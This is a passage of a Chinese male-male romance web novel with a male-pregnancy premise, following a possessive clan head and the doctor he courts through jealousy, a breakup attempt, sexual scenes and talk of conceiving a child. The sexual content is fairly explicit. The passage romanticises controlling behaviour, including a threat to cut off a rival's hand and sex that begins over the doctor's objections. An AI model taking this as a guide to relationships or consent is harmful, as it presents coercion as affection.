枫音尘站在会场中央,环视四周,想象着郁瑟来到这里时的惊喜与感动,嘴角不禁露出了一抹温柔的笑容。 他知道,郁瑟是个内敛而敏感的人,虽然表面上总是一副波澜不惊的样子,但内心却藏着深深的情感与渴望。 所以,他要用这场完美的初夜,来打开郁瑟的心扉,让他感受到自己绝对的真心。 枫音尘一边想着,一边继续指挥着策划团队进行最后的调整,直到一切都达到了他的要求,他才满意地点了点头。 不等枫音尘说什么,会所里蓦得走进来一位装扮精致的贵妇人,而在贵妇人的身旁还跟着一个清俊乖巧的男孩。 贵妇人俨然是认识枫音尘的,不禁主动凑过来打招呼说,“枫家主,别来无恙?” 枫音尘的好情绪瞬间被吹得荡然无存,一双碧玉色的眸子轻微扫量,言道,“原来是柳夫人,真是少见到我都忘记你了。” 柳夫人的丈夫也是属于龙城有名的地产大亨,但是在豪门圈也是有不成文的规矩的,有钱的是有钱的圈子,有权的是有权的圈子,但是具有悠久历史的家族性老牌豪门,却不是随便能融进来的。 这些有钱有权的人,在看到枫家时,自然矮了一截。 柳夫人闻言心底是肯定不高兴的,但是也只是敢怒不敢言而已,勉强自己维持着贵妇人般的体面,笑着说,“枫家主真是爱开玩笑,我这不是刚从国外回来嘛,刚好一进会所得知您在这里,我就赶紧带着孩子过来给您打个招呼。” 枫音尘只是轻轻“哦”了一声,神色间并无多少热络,转而看向柳夫人身旁的男孩,男孩似乎有些紧张,双手紧紧拽着衣角,眼神里却带着惊艳之情。 绝对是没见过漂亮得像神祇似的枫音尘,所以脸都涨红了。 “这是令公子吧,长得真是乖巧可爱。”枫音尘随意客套了一句,目光并未在男孩身上过多停留。 柳夫人闻言,脸上勉强挤出一丝笑容,连忙介绍道:“是啊,这是我儿子柳明轩,他一直都很仰慕枫家主您呢。” 枫音尘微微颔首,算是回应,随后便不再言语,气氛一时有些尴尬。 柳夫人自知没趣,却也不好立即离开,只好继续找些话题闲聊,试图拉近与枫音尘的距离。 而枫音尘则显得有些心不在焉,他的思绪早已飘远,满脑子都是即将见到郁瑟的情景。 柳明轩小心地扯了扯母亲的衣袖,柳夫人立刻心领神会,与枫音尘道了别,再带着儿子走出来。 柳明轩一改之前的小心乖巧,变得眉飞色舞说,“妈咪,这个男人怎么长得这么好看?” 柳夫人也改变了之前的模样,变得不可一世道,“除了好看之外,你看他还有哪里叫人喜欢?” 说是如此,不过她说的声音极小,多少还是忌惮着枫音尘的地位的。 柳明轩可不认同她的论调,一脸的不以为然:“可是妈咪,好看就已经很了不起了呀!我身边的同学长得不是肥头,就是胖耳的,完全都像是猪饲料喂养出来的,完全比不上枫家主的一根脚趾。” 柳夫人被儿子这天真的言论逗笑了,轻刮了一下他的鼻子:“傻孩子,长相可不能当饭吃,要有真本事才行。” 柳明轩似懂非懂地点点头,但眼神里依然闪烁着对枫音尘的崇拜:“可是,他看起来就好厉害的样子,我以后也要嫁像枫家主这样的男人!” 柳夫人心里暗自叹息,她知道儿子还小,不懂得这世间的复杂与艰难,但看到他那纯真无邪的笑容,又不忍心打破他的幻想,只好温柔地摸了摸他的头:“好,既然你这么属意这个枫家主的话,不然这次的生日宴会,咱们就选择在这里过。” “真的吗?”柳明轩不禁开始憧憬着能再次与枫音尘相遇的机会。 “妈咪,不然咱们去打听一下枫家主的宴会定在哪一天,我也把生日宴会改在同一天。” 柳夫人这个儿子一直当作珍宝般疼爱,一点也舍不得孩子失望。 不禁主动投降道,“好好好,你的生日你来做主,只不过” 枫音尘的口碑一向不好,但不是生活作风不好,只是嘴巴够歹毒而已,假如儿子喜欢的话,对于柳家来说,完全属于锦上添花的美事。 柳夫人盘算了一下,立刻改口说,“行行行,我现在就派人去查,你满意了吧?” 柳明轩的要求从来没有被拒绝过,更是喜上眉梢道,“谢谢妈咪对我的疼爱!” 与此同时。 郁瑟在办公室也接待了一位特殊的客人。 对面的男人面若敷粉,唇若涂脂,一身华贵的紫色西装将他衬托得如同贵族一般,举手投足间尽显优雅与高贵。 郁瑟抬眼望去,不禁微微一愣。 他没想到,这位传说中的舞蹈家,竟然有着如此出众的容貌与气质。 男人微微一笑,那笑容如同春风拂面,让人感到格外舒心,“郁医生,久仰大名,今日一见,果然名不虚传。”他的声音低沉而富有磁性,让人听了如沐春风。 郁瑟迅速回神,礼貌地伸出手,“过奖了,不知沈先生今日光临,有何贵干?” 男人轻轻握住他的手,却一直没有放开,“其实,我是派人打听了许久,才决定来找你的。” “听闻,郁医生这边致力于男性生育问题,是吗?” (⊙o⊙)… 郁瑟显然有点意外,毕竟已经有一段时间没有什么男人来询问过这个问题的,不由提示道,“我们医院的主营业务里,确实是有一项关于男性怀孕方面的研究,而且是我个人正在研究的领域。沈先生若是有兴趣,我可以为您详细介绍一下。” 沈先生轻轻点头,眼神中闪过一丝期待,“那就太好了,郁医生,我对这方面一直很感兴趣,只是一直没有找到合适的人咨询。” 郁瑟心中微动,这位沈先生的态度,似乎比他想象中的更为认真和迫切。 他微笑着请沈先生坐下,然后为他泡上一杯茶,开始详细介绍起医院在这方面的研究和成果。 沈先生听得十分认真,不时点头表示赞同,偶尔还会提出一些自己的见解和疑问。 郁瑟一一解答,两人之间的气氛渐渐变得融洽而热烈。 不知不觉间,时间已经悄然流逝。当沈先生起身告辞时,他的脸上已经满是满意和感激之色,“郁医生,真是太感谢你了,今天这一趟,真是让我受益匪浅。” “不知道,我能不能有机会送你回家?” 唯恐郁瑟拒绝,沈宏又迫不及待地解释说,“其实是这样的,我想路上在跟你说一些关于这方面的问题,你看呢?” 郁瑟觉得也没什么值得避嫌的地方,便欣然答应了。 因为沈宏是龙城小有名气的舞蹈家,所以出行皆有保姆车接送,而且相当注意其的隐私和安全。 保姆车停在医院门口,尽量选择低调,沈宏的私人助理亲自为郁瑟打开车门,礼貌地请他上车。 车内宽敞而舒适,装饰简洁而高雅,透出一股淡淡的清香。 郁瑟坐下后,沈宏便吩咐司机开车。车子缓缓驶出医院,向着郁瑟的住处驶去。 一路上,两人继续着之前的话题,讨论得十分投机。 沈宏觉得私密性已经达标了,这才向郁瑟袒露心扉说,“其实,郁医生,我的身体很特殊,正像你刚才提到的,是那种可以孕育后代的特殊身体。” 郁瑟并不显示出惊讶的态度,这令沈宏愈发感到舒服。 所以沈宏也打开天穿说亮话了。 “我结婚了,但是我的婚姻并不幸福。” “我是属于被迫商业联姻的,你知道的,我是一个舞蹈家,但是家里的环境其实并不如外界传出来的那般富裕,甚至处于破产的边缘。” “而我的联姻对象家境极好,只是,他很特殊。” 沈宏既然决定说了,便一鼓作气道,“他是一个植物人。” 这倒是令郁瑟绝对没有料想到的。 他没有轻易打断对方,使得沈宏的叙述更加的流畅起来。 “伺候一个植物人并不能保证我的地位,我必须要留下他的后代,才能更好地在他的家族立足。” 沈宏笑了笑,“不知道,郁医生你能不能帮助我完成这个心愿?” 郁瑟沉默片刻,他理解沈宏的处境,但作为一个医生,他也有自己的职业操守。 他缓缓开口,“沈先生,我理解你的处境,但这件事关乎伦理道德,我必须提醒你,这样的行为可能会带来不可预知的后果。” 沈宏似乎早已料到郁瑟会有此顾虑,他轻轻一笑,“郁医生,你放心,我早已做好了万全的准备。我需要的只是一个机会,一个能让我留下后代的机会,现在的试管婴儿技术那么先进,我也愿意拿自己的身体做一次赌注。” “只要成功了,我后半辈子就有依靠了。而且,我已经咨询过相关的专家,以我的身体状况,完全可以进行这样的操作,不会有太大的风险。” “郁医生,我希望你能帮我实现这个愿望。只要你愿意帮我,我可以给你一笔丰厚的报酬。” 郁瑟看着沈宏坚定的眼神,他知道,这个决定对于沈宏来说,已经思考了很久。 他叹了口气,“沈先生,这件事情我必须要再认真考虑一下,不能立刻给你做出承诺。” 沈宏闻言,眼中闪过一丝喜色,“当然,郁医生,一周时间足够吗?” 车子也在此时缓缓停在了郁瑟的住处。 郁瑟下车之后,沈宏的手也追在后面,紧紧地握住了郁瑟的手,软绵绵地不肯放开,一直说,“郁医生,我已经无路可走了,只能求你多想想了。” 郁瑟道,“我会认真考虑的。” 沈宏这才松开手,坐着车子离开。 郁瑟站在原地目不转睛地目送对方离开。 蓦得,从楼道口传来一声酸溜溜的啧啧声,“怎么,还舍不得?” 郁瑟回过神来时,枫音尘从黑暗中走出来,其实他一直在附近转悠,假装跟郁医生在门口碰巧遇到的。 哪知,他的瑟瑟被人抓着手,说了那么长时间的话。 可把枫音尘的醋海给掀翻了。 枫音尘走过去抓起郁瑟的手,掏出手绢不停地擦了擦说,“我要剁了那小贱人的手。” 郁瑟之前会觉得,这是一种情趣,现在却觉得, 这种占有欲让他有些不适应了。 抽回手,淡淡道,“别闹了,枫家主。” 枫音尘道,“我可不是在闹,你的一切都是我的,不准任何人乱碰。” 他眼神阴翳,带着一股狠劲,看起来并不像是在开玩笑。 郁瑟像才知道,他这个人占有欲极强,又爱吃醋,以前觉得可爱,现在却觉得有些过了。 他道,“刚才那个只是我的一个患者而已,再说这完全属于正常的社交距离,不是任何形式的冒犯。” 说到冒犯,枫音尘的冒犯才一直是一个冒犯犯。 郁瑟还没同意的时候,他就亲亲蹭蹭、搂搂抱抱。 唯独不肯真的给他。 完全像是在做一场名曰柏拉图的游戏。 郁瑟以前一直觉得自己清心寡欲,实际上非也非也,郁医生也是需要一场酣畅淋漓的性.爱的。 算了,干脆就在今天说清楚吧。 郁瑟甩开枫音尘的手,看向对方的眼神也带着明显的距离感。 “枫音尘,我不想跟你玩了。” 郁瑟这次是十分认真地表达着自己的看法,“我想要一段健康的关系,即使你已经跟我求了两次婚,大概你的心里是已经做好准备了。” “什么意思?”枫音尘声音低沉,带着一丝不解和紧张。 他意识到郁瑟这次的态度与前几次的玩笑截然不同,眼中闪过一丝慌乱。 “我的意思很明确,”郁瑟深吸一口气,继续说道,“我需要的是平等、尊重和坦诚。而不是像现在这样,你总是把我当作你的私有物,不允许我有任何正常的社交。还有,关于我们的关系,我需要的是一份能够让我感到安心和快乐的爱情,而不是只有你的单方面占有和不确定的承诺。” 枫音尘的眉头紧锁,他从未想过自己的行为会给郁瑟带来如此大的困扰,他一直以来都认为,只要自己对郁瑟足够好,足够在乎,就能让这段感情长久。然而,他忽略了最重要的一点,那就是两个人之间的沟通和理解。 “我……我从未想过你会这么想。”枫音尘的声音有些颤抖,他显然被郁瑟的话触动了。 郁瑟道,“我觉得我们最近都不要再见面了。” 而且。 “我真心地请你去做个体检。” “如果因为你的畸形丁丁,导致某个方面有问题的话,一定要尽早去治疗,避免时间久了耽误治疗。” 其实在一起洗澡的时候,郁瑟偷看过那两个,完全邦邦硬的,跟正常的没什么区别。 但在每次的关键时刻,总是能及时刹车。 或许,枫音尘不是真的喜欢他,枫音尘的身体对他没有任何感觉。 郁瑟说,“去治一治吧,你的阳.痿。” 又说,“我不歧视这方面的问题,我只是不喜欢总是被吊着戏耍的感觉。” “这不是尊重,不是爱。” 郁瑟一把拉开单元的楼道门,回首目视着一脸震惊的枫音尘,“这段时间我们不用见面,等你全身心做好准备再谈。” 像他这样大咧咧说出枫音尘的弱点,一定会被对方列为黑名单吧。 但郁瑟不在乎,他觉得自己已经仁至义尽了。 他以为是这样子的。 结果。 枫音尘像是被刺激到了,几步冲过去将郁瑟扛上肩膀,大步伐伐地往楼上走。 也不需要什么仪式感了,或者场所也不需要挑选了。 枫音尘怒极反笑道,“原来,郁医生一直觉得我不行啊!” 那我就只好不客气。 第59章 第 59 章 慢慢来啊 郁瑟象征性地挣扎了一下, 不是他不想,而是枫音尘的臂力简直惊人到恐怖的程度。 郁瑟也自我检讨了一下,是不是不应该对枫音尘说刚才那些话。 男人最重要的是什么? 是面子。 他应该更好地表达自己的看法, 而不是凭着一腔怒气一针见血 不等郁瑟喊出一个等等, 整个人已经天旋地转被丢到了沙发之上。 为了在劳累的工作之余得到放松,郁瑟结合了上辈子的经验,这辈子斥巨资买了一套人体工学沙发, 光是纵深就有60厘米。 之前郁瑟总以这套沙发洋洋得意, 觉得自己买好了,今天却觉得实在愚蠢。 因为他跌进去了, 居然半截身子也跟着陷进去了, 完全爬不出来。 枫音尘则朝他露出一脸的戏谑。 接着,当着郁瑟的面, 开始一件件地脱衣服。 郁瑟觉得他肯定是故意脱那么慢, 动作放那么优雅的,毕竟枫音尘除了面部的精致之外,连浑身上下的肌肤, 也比上等的天鹅丝绒更加柔滑。 还有狰狞。 例如壁垒分明的肌肉很狰狞, 虬实有力的大腿肌很狰狞,还有劲力十足的腰臀也很狰狞。 以及,刚才被郁瑟嘲笑是畸形没用的东西,像一个狰狞恐怖的巨型“V”字, 直戳戳得朝向郁瑟比划着胜利的意味。 郁瑟费力地扭动着身体, 企图从这“温柔乡”中挣脱出来, 却只是徒劳无功地越陷越深,他的脸颊因挣扎而微微泛红,眼神中满是无奈与懊恼。 枫音尘见状, 嘴角勾起一抹是邪非邪的浅笑,缓缓走近沙发,一把扯住了郁医生的手腕,放置在最恐怖的地方。 那个大V之上。 用挠心似的语言,款款地问他,“瑟瑟,你真的觉得我需要去看医生吗?” 郁瑟开始摇头,“不,我刚才可能太冲动了,你不要听我胡说八道,我” “你从不胡说,我了解你,你是一个具有极强求知欲的好医生,而且实践能力也很强,能亲自动手检验的,绝对会认真做好每一步。” 枫音尘低头吻住他的嘴唇,更没有轻易叫他松开手。 好烫,枫音尘的嘴唇。 郁瑟的心脏跳得像雷,像鼓,像一切吵闹又不安分的东西。 难道说我就是因为喜欢这个才去激怒他? 郁瑟趁着枫音尘咬他的舌尖的时候,努力挤出一点求饶般的话,“枫家主,我并不是这个意思” 枫音尘叫他合不拢嘴。 枫音尘说,“叫我的名字。” 好冷! 郁瑟的手心冷得要命,冰凉的手感如同第一次触碰时的感觉,绵密的寒意冻得他的指尖不停发抖。 枫音尘此刻完全属于上下冰火两重天的类型。 郁瑟现在反倒不怎么忌惮枫音尘的热吻,因为这是他能力承受范围之内的东西。 他现在害怕的是冷的两个东西。 好冰好凉,如同冰锥刺破血管的瞬间,残酷地汲取血液的热量,慢慢融化成潺潺的溪水。 郁瑟居然在这一时刻学会了什么叫做临危讨好,小声叫他的名字,“枫音尘” 枫音尘说,“再亲昵一点,瑟瑟。” 郁瑟说,“音尘?” 枫音尘立刻高兴了,也更变本加厉了,抱住郁瑟的腰,两人顺势倒入蓬松的沙发中央。 “瑟瑟,你再叫我一声,我好喜欢你这样叫我,真的好喜欢,你再多叫我几声?” 郁瑟被他这句话弄得好害羞好害羞,最主要的是,大V卡住了他的腿,森冷的寒气上上下下地蹭动。 移来移去。 郁瑟觉得不能再给他好脸了,某些人是习惯蹬鼻子上脸的恶劣个性,咬住嘴唇不肯叫他。 枫音尘开始抱住郁医生又啃又咬,忽然嘤嘤嘤地哭了起来,一双碧色的眼眸比任何时候都可怜讨巧,扑闪着浓密的睫毛,偏要郁瑟妥协。 “我就想听你叫叫我的名字,我都这么努力了,瑟瑟,你难道不再喜欢我了吗?” 郁瑟被他的眼泪沾了一脖颈,连锁骨里都是湿润的水窝。 也不知道是不是原本的汗水。 反正枫音尘哭得梨花带雨,也算是一种令男人无法拒绝的利器。 反正突然没有办法,像是终于妥协了似的,郁瑟捧住枫音尘的脸问,“我最后问你一遍,你确定,你喜欢的人是我?” “是你,是你。”枫音尘的碧色眸子被眼泪清洗得亮晶晶的,眼尾和鼻尖扫着艳丽的媚红,看起来越发柔弱无骨。 实际上,郁瑟知道这个人的脸和身体完全是两回事。 他现在已经快被冷冻戳麻了。 枫音尘哼哼唧唧说,“我只爱你,我爱的人就是你,即使你不叫郁瑟,你叫其他的名字,我也爱的是你这个人,我愿意尊重你,直到你心甘情愿地爱我。”边说着,任何动作也都没有停下的意思。 郁瑟真是怕极了他,怎么会有人能扭曲成这样子? 说一套,做十套。 但是没办法,是郁瑟自己曾承认过的。 他从内心来讲,是愿意把枫音尘当作公主来宠爱的,否则像这种作精男人,一天得狠狠打死八次。 郁瑟是第一次,主动地回吻了枫音尘,惊得枫音尘立刻把自己的唇瓣含进嘴里,仿佛上面沾满了意外之喜的蜜汁。 “那我也会认真地喜欢你的。”这是郁瑟两辈子来,第一次做出的承诺,“我没有任何恋爱经验,第一次就遇见了你,你可要” 郁瑟认真觉得这后半句话好烂,即使是现在的黄花大姑娘也说不出他这种纯情得像白痴似的宣言了。 枫音尘却像是心底的巨石终于落地般手舞足蹈起来,抱住郁瑟说,“瑟瑟,谢谢你给我这个宝贵的机会,我会好好地回馈你的喜欢的。” “我对你的心是认真的,绝对不会掺杂任何虚情假意,你只要跟我在一起了,我会慢慢让你明白,我的爱是多么的真诚的。” 而且。 “我对你毫无保留。” “我的就是你的,来,给你给你,现在全部都给你。” 郁瑟惊呼,“不行!你不要发疯,一个一个来啊!” 第60章 第 60 章 你要完成什么KPI吗 ——原来, 我并不是一个清心寡欲的人啊。 郁瑟坐在浴缸里慢悠悠地转动着眼珠子。 不对,他现在的姿势根本算不上是坐着,而应该是侧躺着, 他现在, 只有眼睛是唯一活泛的东西了。 浴缸中满满溢出的水液是透骨的温热,将他酸困的四肢慢慢地浸泡到能恢复正常知觉的地步。 包括他的肚子。 郁瑟慢慢地抚摸着微微鼓起的腹部,仿佛还有什么在里面横冲直闯着, 试图将一层单薄的肌肉戳破。 依照这个小说世界的尿性 我不可能怀孕的吧? 郁瑟的脑海里居然下意识地弹出来了这句话, 完全属于荒唐且可笑的臆想。 然而,郁瑟还是用手掌心使劲地摁了摁腹部, 希望内里的东西能更顺利地淌出来。 等他的注意力全部被转移之后, 浴室的门被缓慢地推开了,露出枫音尘那张人神共愤的美人脸来。 枫音尘算是得偿所愿了, 脸上大放异彩, 简直气色极佳,面若芙蓉。 可苦了郁医生的操劳。 他试探地问了一嘴,“瑟瑟, 我也想进来。” 但没讲可不可以, 这种类似于申请的话。 郁瑟早知道他是这种人,征求意见完全是表面在做,实际上什么都不管。 “难道我说不好” “好,那我进来了。”枫音尘快乐地小跑着, 冲进了浴室的浴缸中。 郁瑟本来就爬不起来, 又被他重新撞回水里, 在这狭窄得绝对躺不下两个大男人的地方。 枫音尘只能屈居自己垫在浴缸地下,让动弹不了的郁瑟坐在上面的位置。 郁瑟:“” 枫音尘说,“瑟瑟辛苦啦, 我来给你揉揉。”说着,开始给郁医生捏胳膊,捏腿。 郁瑟真是连一根手指都不想动弹的,算了,人活一世,何况他已经人活两世了,及时行乐的道理却是用整整一个晚上学会的。 郁瑟微微侧了身,趴在枫音尘的怀里,微眯起眼道,“年轻就是好。” 讲真的,当他知道枫音尘其实比自己小两岁的时候。 第一感觉是自己居然吃了一个嫩草?! 第二感觉却是,臭小子居然拿我狠狠开荤?! 枫音尘的容貌、权势、地位,全部远超郁瑟很多,但是郁瑟并不会被这些东西所羁绊,正像他自己说的,他愿意去尝试喜欢一个人,并且有可能要跟这个人过一辈子。 余下的全部是情感上的交流和灵魂的契合。 所以,郁瑟心甘情愿与枫音尘沉沦到死 只是 这小子会不会太容易沉沦了,要不然就是因为是两个,所以轮换着来更加不知疲倦。 你瞧他拿一双修长的手,说好是要给自己舒缓的,结果却越发肆意妄为起来,在郁瑟的肌肤上撩拨起火。 郁瑟是又气又好笑,偏偏又拿他没办法,只能任由枫音尘释放永远也无法消减的活力。 “枫音尘,你够了哦。”郁瑟终于忍不住开口抗议,声音里却带着一丝连他自己都没察觉到的嗔怒。 郁瑟直接平趴在枫音尘身上,两人一起浸泡在浴缸中央,温热的水花轻轻荡漾,室内弥漫着氤氲的水汽和淡淡的香气。 郁瑟改成小声说,避免浴室隔音不够好,“够了,真的,你是积攒了一辈子的,打算今天全部释放干净吗?” 枫音尘的嘴角勾起一抹得意的笑,他享受着与郁瑟这般亲密无间的时刻,仿佛整个世界都只剩下他们二人。 郁瑟的面颊一直红得要命,若不是浴室的水烟袅袅,遮掩了一些风情,恐怕他是真的没脸跟枫音尘说话的。 见枫音尘不做回答,郁瑟试图挣扎着想要起身,却被对方更加紧紧地抱住。 “我不闹了,瑟瑟,我好不容易拥有你,让我再抱一会儿。”枫音尘的声音低沉而富有磁性,带着不容拒绝的温柔。 郁瑟无奈地叹了口气,终究还是放弃了挣扎,任由枫音尘这般抱着。 他闭上眼睛,感受着枫音尘的体温和呼吸,心中涌起一股前所未有的安宁和满足。 枫音尘轻轻地吻了吻郁瑟的额头,像是永远都不知餍足似的,随即低头又在郁瑟的脖颈处落下一吻,声音低沉而富有情感色彩,“瑟瑟,我喜欢这样跟你在一起。” 郁瑟已经困得不行了,之前枫音尘的纠缠太过凶狠,害得郁瑟吃了不少苦头,现在枫音尘的体温正常了,变成一具温热的港湾,谁能知道毒舌枫家主,居然还能有如此贴心的瞬间。 得赶紧享受一下。 郁瑟微微闭上瞌睡的眼睛。 枫音尘怎么也爱不够他似的,尽量将肢体放松,好叫郁瑟在怀里多睡一会儿。 毕竟现在已经中午十二点了,虽然已经给郁医生请了假,但是郁医生的体能跟自己完全不能比。 枫音尘心里清楚,郁瑟昨晚被自己折腾得不轻,现在正是需要休息的时候。 他轻轻调整着姿势,让郁瑟靠得更舒服些,自己则小心翼翼地环抱着他。 等郁瑟的均匀呼吸声慢慢传出来之后,枫音尘从浴缸一旁取来一支药膏。 活血化瘀。 枫音尘将整个右手涂满药膏,包括每一根手指都抹得均匀油亮,在进门之前他特意磨了指甲。 枫音尘贴近郁瑟的耳侧,慢慢哄道,“你睡你的,我稍微给你抹点药。” 郁瑟嗯了一声,大抵上是根本没听清他在说什么,只是因为瞌睡而发出的咛唔。 枫音尘将沾满药膏的手到处涂抹,尤其是重灾区,涂抹得细致极了,恨不得涂在大V上,一边上药,一边 不得了,真的不得了。 枫音尘及时遏制住自己走偏的念头。 “这才是第一夜” 枫音尘抱着郁瑟,脑海里回忆的全部是《独宠郁医生的九十九夜》里的文字描写。 血脉逆行! 血脉逆行了!!! 枫音尘顾不得满手沾的药膏,拨开郁瑟脸前的碎发,在郁瑟微张的嘴巴里一阵狂风暴雨的亲吻。 我真是一个可怕的病人。 从以前就是。 枫音尘不禁边亲边想。 我有体温渴饥症,我还有接吻狂魔症,我现在还有了贪吃郁瑟症,和时时刻刻想瑟瑟想发疯症。 反正,只要是跟郁医生在一起,他就变得情难自已,甚至不正常得厉害。 郁瑟说他得寸进尺,绝对是对枫音尘这个人最正确的判断,如今叫枫音尘如愿吃到了,枫音尘立刻变得更加不知满足起来。 等郁瑟醒来之后,他发现枫音尘变得更加黏人了,不准他穿衣服,不准他出门,还逼着郁瑟再向医院请了三天假。 不然就哭哭啼啼、哼哼唧唧的。 枫公主耍赖倒是挺新鲜的,关键是费人啊。 郁瑟只好拿出威严,一脚蹬开枫音尘的肩膀,警告他说,“请三天假没关系,跟你在家厮混也没关系。” “但是现在,我要吃饭,我还要出门。” 郁瑟看了一眼满地丢着的乱七八糟,包括他的沙发已经彻底毁了,家里准备的四五套客用床单也脏得不成样子了。 冰箱里空空荡荡的,能吃的基本都胡乱填了肚子。 郁瑟用手指着地面小山一般的面巾纸,“现在给你两个选择。” “穿上衣服,跟我出去吃饭,之后再去超市进行采购。” 要不然。 “我现在给钟点工公司打电话,叫他们多派点人手过来,连你和这一堆,包括沙发床之类的,全部清扫出去!” 郁瑟可能是真的饿了,最后一句冲向枫音尘,几乎是哑着嗓子喊出口的,“你是有什么奇怪的KPI要完成吗?!” 60-70 第61章 第 61 章 你生,还是我生? 枫音尘本来不想听郁瑟的话, 但是现在就开始反抗的话,郁医生很有可能不给他做老婆了。 所以枫音尘被踹了肩膀也不生气,反倒凑过来贴贴道, “郁医生, 我一定乖乖听话,你让我往东我绝不往西,你让我站着我就绝对不坐着, 你现在肚子很饿了, 我绝对把你先喂个饱饱的。” 你才好再反过来把我喂个饱饱的。 郁瑟瞥了他一眼,似乎看穿了对方眼底的小心机, 也不跟他计较, 而是拉着枫公主走进浴室。 “行,你这么深明大义, 我就亲自给你洗洗干净。” 枫音尘每天早晨五点钟起床锻炼身体, 六点钟用餐,等七点钟的时候,专业的私人形象顾问已经准备就绪, 为他量身搭配当日的着装。 郁瑟可没办法像专业的人那么厉害, 顶多给枫音尘洗个头,浑身涂抹个香皂泡,再用吹风机将发丝吹干。 给枫音尘刮胡子的时候,对方的喉结不停地翻滚, 发出极具诱惑性的闷哼。 郁瑟笑着说, “你害怕什么?我一个堂堂医生给你刮胡子完全属于高射炮打蚊子, 大材小用,你且放心吧,不会给你刮破皮的。” 郁瑟的胡子并不浓密, 几天时间才需要清理一次,不过他某些地方很传统,比起电动的,更喜欢使用刀片剃胡刀和剃须膏。 枫音尘却紧紧攥住他腰侧的睡衣,声音有些沙哑,“瑟瑟,你现在好性感好MAN,我觉得快受不了,要爆炸了。” 长两个钉钉的人真是不能开荤,一点尝过好吃的,随便一点刺激都能激起熊熊欲念。 毕竟,这本书里的反派设定,就是一个时时刻刻都在变花样艹老婆的家伙。 郁瑟没好气地白了他一眼,“瞧你这出息,刮个胡子而已,至于吗?” 虽然嘴上这么说,但郁瑟的动作还是轻柔了许多,甚至凑在枫音尘耳畔取笑他。 “你这个人真挺特别的,平常很有一家之主的威严,怎么到了床上只会哭哭啼啼,闷哼的次数比我还多还久?” 郁瑟转念一想,“不然,以后还是我来睡你吧。” “不可能!绝不可能!!”枫音尘的眸子瞪得圆鼓鼓,绿油油的,刚才还一副随君欺凌的娇作模样,一谈到关键问题,彻底恢复了蛮不讲理的状态。 郁瑟见他这副表情,不禁噗嗤一声笑了出来,手指捏了一把枫音尘的精致脸颊,“瞧把你紧张的,逗你玩呢,还当真了?” 枫音尘一把捉住郁瑟作乱的手指,恶狠狠地咬了郁瑟的手腕一口,假装生气地说道,“这种事情怎么能拿来开玩笑?我会哭会叫,是因为太舒服了,你不懂我的乐趣,你好好享受就行了还是说,我的功夫不行?” 说着,枫音尘动手剥郁瑟的睡裤,“那我再练习练习,保证令你也跟我一样舒服。” 郁瑟心说坏了,绝对不能再被拖进床上了,半条命快被爆炒没了,一边反抗,一边假装无辜地说道,“好好好,我真的只是跟你开个玩笑的,你怎么还当真了?” 枫音尘闻言,知道郁瑟绝对不会让他再得逞了,只好作罢说,“反正以后这种事情,你不许再提了。” 郁瑟见他如此认真,便点了点头,答应道,“不提就不提,原来鼎鼎大名的枫家主也有小孩子气的一面。” 两人打闹了一番后,终于结束了这场刮胡子的“战役”。 郁瑟看着镜子里枫音尘那张干净清爽的艳丽脸庞,满意地点了点头,“走吧,美丽的枫公主,今天想吃什么,全权由我来请客。” “公主?”枫音尘挑起眉宇,一脸的难以置信,“原来,你私底下是这么称呼我的?” 郁瑟心又说,坏了。 趁枫音尘的魔爪伸过来之前,大笑着躲闪开去,抢先一步逃出了家门。 事实证明。 枫音尘可能不是一个好的家主,不是一个好的小叔叔,不是一个好的领导者,倾诉者或倾听者。 但他绝对是一个好的伴侣。 首先郁瑟依旧舒服地住在属于自己的小公寓之内,枫音尘并没有强迫他搬回枫家本宅一起生活。 其次,枫音尘也绝对尊重他的工作,从不干涉他的日常工作的安排。 郁瑟一周时间内总有几次,需要六日加班的时候,枫音尘总是毫无怨言地接送他上下班,风雨无阻。 即便再忙,他也会抽出时间,叫人为郁瑟准备一顿丰盛的晚餐,两人围坐在餐桌旁,享受着难得的宁静时光。 郁瑟知道,枫音尘的温柔和体贴是具有唯一性的,是对他的特殊宠爱,更是对他独立人格的尊重。 包括两个人做羞羞的事情。 周一到周四的晚上,枫音尘只是过来搂着郁医生睡觉。 周六下午到周日上午是狂欢的日子,两个人完全会水乳.交融到互相粘连的程度。 郁瑟抱着枫音尘,两人深深陷入新买的大床上中央。 枫音尘的嘴里完全像含了蜜汁似的,不停叫喊着断断续续的荤话。 人都说男人在床上胡说八道是为了图快活。 郁瑟听他的甜言蜜语反而愈发的兴奋,最终还是落入了蜜糖陷阱,任由摆布。 枫音尘的体温渴饥症刚发作完,浑身的温度正慢慢恢复正常,郁医生很好地给他提供了体温保障,两人忘情地拥吻。 直到郁瑟突然喊出声,“你怎么还是那么冰?!” 两个已经轮换着摩擦起热了,怎么还会这么冰冷?!! 枫音尘也感觉到了,伸手将缠住对方腿的东西扯了出来。 是吐着舌头的小黑蛇。 “唔”郁瑟竟不知该如何面对伊尔曼,骂也不是怪也不是,只能用手指戳戳枫音尘的胸口,言道,“你的生活领域,是不是有些过界了?” 伊尔曼是枫音尘的爱宠,最近频繁出现在郁瑟家里,有时候郁瑟在厨房洗碗,小黑蛇会凭空掉进洗碗池里,飞溅一身的洗洁精泡沫。 害得郁瑟又得准备干净的水,给它认真清洗干净。 对了。 郁瑟不禁环顾四周,家里的东西似乎也逐渐增多不少。 他的衣柜里会凭空多出来几件不属于郁瑟的西服套装,抽屉里会塞几块不知名但很贵的钻表。 洗漱台会多一块毛巾,多一只牙刷,还有几瓶高档男士护肤乳。 现在床也变大了,上面的人数也增加了。 偶尔,还多了一条蛇。 嗯 郁瑟趁着枫音尘教训小黑蛇的功夫,翻身去抽纸巾,被返回来的枫音尘摁住手腕道,“做什么?” 郁瑟说,“清理一下。” 枫音尘将人抱住,不停用脸蹭着胸口说,“不要。” 郁瑟只要被他黏住了,根本没有翻身的余地,不禁主动放弃挣扎,攀住枫音尘的肩膀道,“什么不要,你有什么诡计没有告诉我?” 枫音尘哼哼笑了一声。 “瑟瑟,你知道吗?” “我只有一个大哥,叫枫音絮,他的老婆其实是一个男性,货真价实的。” “所以?” 枫音尘神秘兮兮地凑近郁瑟的耳边,轻声道,“我这个男嫂子之前一直是直男的,后面居然神奇怀孕了,生下来枫澄枫羽,和知乐那三个小子。” 郁瑟瞪大了眼睛,“你这个嫂子他” 枫音尘点了点头,“对,我们枫家的男人要不然就让人怀孕,要不然就自己怀孕,你看知乐,马上都快要生了。” 小说里讲的,枫澄枫羽以后都要做别人的老婆,给男人生孩子。 郁瑟皱了皱眉,“那那你为什么要告诉我这个?” 枫音尘轻笑一声,“因为我想让你也怀上我的孩子。” 